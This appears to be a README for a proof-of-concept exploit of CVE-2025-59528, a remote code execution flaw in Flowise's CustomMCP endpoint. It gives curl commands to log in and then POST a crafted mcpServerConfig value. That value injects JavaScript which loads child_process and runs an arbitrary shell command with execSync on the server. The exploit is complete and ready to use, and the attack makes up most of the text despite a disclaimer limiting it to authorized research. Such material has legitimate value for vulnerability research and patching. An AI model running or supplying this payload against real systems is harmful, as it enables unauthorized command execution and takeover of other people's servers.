
CVE-2025-59528 Proof of Concept
Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
im-soohyun (Kim SooHyun)CVE-2025-595283.0.53.0.6poc.py: prompts for machine URL/IP, optional protocol when bare host/IP used, email, password, and command; logs in, reuses cookies, then sends a crafted CustomMCP request and prints HTTP status, headers, and response body similar to curl -iRun:
python3 poc.py
Then provide:
10.10.11.10, http://10.10.11.10, or https://target.examplecurl -i -X POST https://<MACHINE_URL/IP>/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"<[email protected]>","password":"<password>"}'
curl -i -X POST https://<target>/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=<token>; refreshToken=<refreshToken>; connect.sid=<connect.sid>" \
-d '{
"loadMethod":"listActions",
"inputs":{
"mcpServerConfig":"({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"<command>\");return 1;})()})"
}
}'